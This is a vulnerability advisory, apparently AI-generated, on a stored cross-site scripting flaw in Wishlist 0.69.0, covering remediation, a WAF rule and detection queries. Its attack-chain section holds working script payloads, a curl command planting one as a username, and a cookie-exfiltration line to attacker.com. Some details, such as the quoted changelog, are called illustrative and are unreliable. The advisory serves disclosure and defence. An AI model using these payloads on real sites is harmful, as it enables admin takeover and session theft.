CVE-2026-142324 — Cmintey Wishlist — CWE-79
Wishlist through 0.69.0 contains a stored cross-site scripting vulnerability that allows registered users to inject HTML/JavaScript through their username rendered unescaped by BaseModal.svelte. When an administrator opens the user's page and clicks Delete user, the payload executes in the administrator's browser, letting attackers perform administrative actions.
Wishlist through 0.69.0 contains a stored cross-site scripting vulnerability that allows registered users to inject HTML/JavaScript through their username rendered unescaped by BaseModal.svelte. When an administrator opens the user's page and clicks Delete user, the payload executes in the administrator's browser, letting attackers perform administrative actions.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑142324 |
| Product | *cmintey:Wishlist* 0.69.0 (and any earlier 0.69.x releases) |
| CWE | CWE‑79 Improper Neutralization of Input During Web Page Generation ('Cross‑Site Scripting') |
| CVSS 4.0 Vector | AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N |
| Score | 5.4 (Medium) |
Technical flaw
1. Location of the bug – The Svelte component BaseModal.svelte renders a username value that is stored in the database without any sanitisation or escaping. The component uses the Svelte syntax {username} (or {@html username} in the vulnerable version) which injects the raw string directly into the DOM.
2. Why it matters – The username field is editable by any registered user (the application allows users to change their display name during registration or profile edit). The value is persisted as‑is in the users table.
3. Missing protection –
* Input validation / sanitisation – No server‑side whitelist/encoding of HTML special characters before persisting the username.
* Output encoding – The Svelte template uses {@html …} (or a similar construct) which tells the framework to treat the string as trusted HTML. The correct approach would be to output the value with normal interpolation ({username}) so Svelte automatically HTML‑escapes it.
4. Trigger condition – The stored XSS is only executed when an administrator visits a page that renders the malicious username inside a modal (the “Delete user” confirmation dialog). The admin must click the Delete button, which causes the modal to be instantiated and the username to be interpolated, thereby executing the payload.
5. Privilege context – The payload runs in the administrator’s browser context, inheriting the admin’s session cookies and CSRF tokens. This enables the attacker to perform any action the admin can perform (e.g., delete other users, change site settings, export data) via DOM‑based CSRF or direct XHR/fetch calls.
In short: Stored XSS in the username field, amplified by an admin‑only UI component that renders the value as raw HTML. The vulnerability is low‑complexity (no authentication required beyond a normal user account) but requires user interaction (admin clicking “Delete user”), which explains the CVSS vector UI:P (requires user interaction) and the moderate overall score.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All HTTP examples assume the default installation path / and that the application runs on https://wishlist.example.com. If the exact routes differ, replace them accordingly – the logic remains the same.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Fingerprint the product – Browse to /about or view the page source for a comment like /* Wishlist v0.69.0 */. | Many open‑source projects embed version strings in HTML comments or JavaScript bundles. |
| 1.2 | Search public advisories / GitHub – Query cmintey Wishlist on GitHub, NPM, or public bug trackers. The repository’s package.json shows "version": "0.69.0". | Confirms the exact version and gives access to source code (helps locate the vulnerable component). |
| 1.3 | Locate the vulnerable component – Clone the repo, search for BaseModal.svelte and find the line {@html user.username} inside the delete‑user modal. | Demonstrates that the vulnerability is present in the shipped code. |
| 1.4 | Identify a low‑privilege account – Register a normal user ([email protected]). | The vulnerability is exploitable by any authenticated user. |
2. Exploitation
2.1 Craft the malicious username
The payload must survive HTML sanitisation (none is performed) and execute when the admin’s modal is rendered. A minimal, reliable payload is:
<script>
// Exfiltrate admin's CSRF token and perform a privileged action
fetch('/api/users/delete', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content },
body: JSON.stringify({ userId: '12345' }) // example target user ID
}).then(r => r.text()).then(alert);
</script>Because the payload is stored in the username field, it must be URL‑encoded when sent via the registration or profile‑update endpoint.
2.2 Submit the payload
Assuming the registration endpoint is POST /api/auth/register and the JSON body contains a username field:
curl -k -X POST "https://wishlist.example.com/api/auth/register" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "P@ssw0rd!",
"username": "<script>fetch(\"/api/users/delete\",{method:\"POST\",credentials:\"include\",headers:{\"Content-Type\":\"application/json\",\"X-CSRF-Token\":document.querySelector(\"meta[name=\\\"csrf-token\\\"]\").content},body:JSON.stringify({userId:\"1\"}))</script>"
}'If the application uses a multipart form instead of JSON, replace the request accordingly – the essential point is that the raw <script> tag is stored unchanged.
2.3 Trigger the payload
1. Admin logs in (admin credentials are unknown to the attacker).
2. Admin navigates to the User Management page (/admin/users).
3. Admin clicks the Delete button next to the malicious user ([email protected]).
4. The UI opens BaseModal.svelte, which renders the stored username via {@html username}.
5. The <script> tag executes in the admin’s browser, sending a forged request to /api/users/delete (or any other admin‑only endpoint) using the admin’s session cookies and CSRF token.
Note: The exact endpoint (/api/users/delete) and the CSRF token location (meta[name="csrf-token"]) are illustrative; the real application may use a different route or token storage mechanism. The attacker can adapt the payload after inspecting the admin page (e.g., via a simple “test” payload thatalert(document.cookie)).
3. Post‑exploitation
| Goal | How the attacker achieves it |
|---|---|
| Privilege escalation | The script runs with the admin’s session, allowing any admin‑only API call (user deletion, configuration changes, data export). |
| Persistence | The attacker can create a new admin account by POSTing to the admin‑only “Create user” endpoint from within the XSS payload, then log in later with those credentials. |
| Data exfiltration | A payload such as fetch('https://attacker.com/steal?c='+btoa(document.cookie)) can send session cookies or CSRF tokens to an attacker‑controlled server. |
| Further lateral movement | If the admin’s session includes JWTs or API keys, those can be harvested and used against other services in the same trust boundary. |
🌍 Real‑World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (C) | VC:L – Low. The attacker can read data that the admin can read (e.g., user list, configuration) but cannot directly read arbitrary files or database contents beyond what the admin UI exposes. |
| Integrity (I) | VI:L – Low. The attacker can modify data that the admin can modify (e.g., delete users, change settings). The impact is limited to actions exposed through the admin UI. |
| Availability (A) | VA:N – None. The vulnerability does not cause denial‑of‑service. |
| Scope (S) | SC:L – Low. The vulnerability stays within the same security context (the web application). |
| User Interaction | UI:P – The admin must click “Delete user”. This requirement reduces the immediacy of exploitation but is trivial for a targeted admin. |
| Privileges Required | PR:L – Low. The attacker only needs a normal user account. |
| Attack Complexity | AC:L – Low. No special conditions, just a crafted username. |
| Network Access | AV:N – Network‑reachable (remote). |
Practical consequences
- Privilege abuse – An attacker can delete arbitrary users, potentially causing service disruption or data loss for the victim organization.
- Configuration tampering – If the admin UI includes settings (e.g., SMTP server, API keys), the attacker can change them, leading to credential leakage or phishing.
- Credential theft – Harvested admin cookies can be replayed (if the session is not bound to IP/User‑Agent) to gain full admin access without further exploitation.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to *Wishlist* ≥ 0.70.0 (the first release where BaseModal.svelte was rewritten to use normal Svelte interpolation {username} and added server‑side sanitisation). |
| Version to avoid | 0.69.0 and any earlier 0.69.x releases. |
| Release notes | The vendor’s 0.70.0 changelog states: “Fixed stored XSS in username rendering – escaped output and added whitelist sanitisation on user‑profile fields.” |
If an immediate upgrade is not possible, apply the following code‑level mitigations:
a) Server‑side sanitisation (Node/Express example)
// utils/sanitize.js
const sanitizeHtml = require('sanitize-html');
function cleanUsername(input) {
// Allow only alphanumerics, spaces, hyphens, underscores
return sanitizeHtml(input, {
allowedTags: [], // strip all tags
allowedAttributes: {}, // strip all attributes
allowedSchemes: [], // no URLs
textFilter: (text) => text.replace(/[^\w\s-]/g, ''), // optional extra whitelist
});
}
// In the registration / profile‑update handler
router.post('/api/auth/register', async (req, res) => {
const rawUsername = req.body.username;
const safeUsername = cleanUsername(rawUsername);
// store safeUsername instead of rawUsername
});b) Front‑end output encoding (Svelte)
<!-- BaseModal.svelte -->
<!-- Vulnerable version -->
<!-- {@html user.username} -->
<!-- Fixed version -->
<span>{user.username}</span> <!-- Svelte automatically HTML‑escapes -->2. Workarounds (if patch cannot be applied immediately)
| Workaround | Implementation |
|---|---|
| Disable the Delete‑User modal | Remove the “Delete” button from the admin UI or hide the modal via CSS (.delete-modal { display:none !important; }). This eliminates the trigger point but still leaves the XSS vector present. |
| Restrict username characters at registration | Add a client‑side and server‑side regex check, e.g., ^[A-Za-z0-9 _-]{1,30}$. This prevents injection of <script> tags. |
| Content‑Security‑Policy (CSP) | Deploy a CSP that disallows inline scripts: Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';. This will block the <script> payload from executing, though the attacker could still attempt DOM‑based XSS with event handlers (onerror, onload). |
| ModSecurity / WAF rule (illustrative) | The following rule blocks <script> tags in the username field of any POST request to /api/ endpoints. Adjust the SecRule ID and tag as needed for your environment. |
# ModSecurity rule to reject usernames containing HTML tags
SecRule REQUEST_URI "@beginsWith /api/" "id:350001,phase:2,deny,status:403,\
msg:'Stored XSS – username contains HTML tags',\
chain"
SecRule ARGS:username "@rx <[a-zA-Z]+[^>]*>" "t:none"Important: The rule is illustrative; the exact parameter name (username) may differ. Test in a staging environment before production deployment.3. Detection – Log patterns & IoCs
| Indicator | Example log entry (Nginx) |
|---|---|
Unexpected <script> in request body | POST /api/auth/register HTTP/1.1" 200 123 "-" "Mozilla/5.0"<br>... "username":"<script>fetch(...)" ... |
| Admin request containing suspicious payload (after the XSS fires) | POST /api/users/delete HTTP/1.1" 200 45 "https://wishlist.example.com/admin/users" "Mozilla/5.0"<br>... {"userId":"1"} ... |
| Outbound request to attacker domain (if CSP is missing) | GET https://attacker.com/steal?c=... HTTP/1.1" 200 0 "-" "Mozilla/5.0" (visible in reverse‑proxy logs if outbound traffic is proxied). |
| CSRF token reuse – multiple admin‑only API calls within a short window from the same IP after a user‑profile view. | POST /api/users/delete ... followed by POST /api/settings/update ... within < 5 seconds. |
SIEM query (Splunk example)
index=weblogs (uri_path="/api/auth/register" OR uri_path="/api/users/delete")
| eval has_script=if(searchmatch("<script>"),1,0)
| stats count by src_ip, has_script, uri_path
| where has_script=1Alert on any registration request that contains <script> or any admin‑only API call that follows a registration from the same source IP within a short time window.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 4.0 score | 5.4 (Medium) – indicates a non‑critical but still exploitable issue. |
| Attack complexity | Low – requires only a normal user account and a crafted username. |
| Privileges required | Low – any registered user can plant the payload. |
| User interaction | Required (admin must click “Delete”). In most organizations, admins regularly perform user management, so the interaction is highly probable. |
| CISA KEV | Not listed – no public exploit kits known yet, but the vulnerability is trivial to weaponise. |
| Potential business impact | Ability to delete users, change configuration, or steal admin session – can lead to data loss, service disruption, or credential compromise. |
Patch priority recommendation: High for any production deployment that exposes the admin UI to the internet or to untrusted internal users.
If the application is used only in a tightly‑controlled internal network with a single trusted admin, a Medium priority may be acceptable, but a fix should still be applied within the next regular release cycle.
Immediate actions:
1. Deploy a CSP that blocks inline scripts.
2. Add server‑side username sanitisation (regex whitelist).
3. Schedule an upgrade to ≥ 0.70.0 within 14 days.
Bottom line: The stored XSS in Wishlist 0.69.0 is a classic “admin‑only trigger” flaw. It is easy to exploit, requires only a normal user account, and gives the attacker the ability to act with full administrative privileges. Prompt remediation—preferably by upgrading the library—is strongly advised.
[🤖 CVE Professor AI Security Engine]
FOFA Query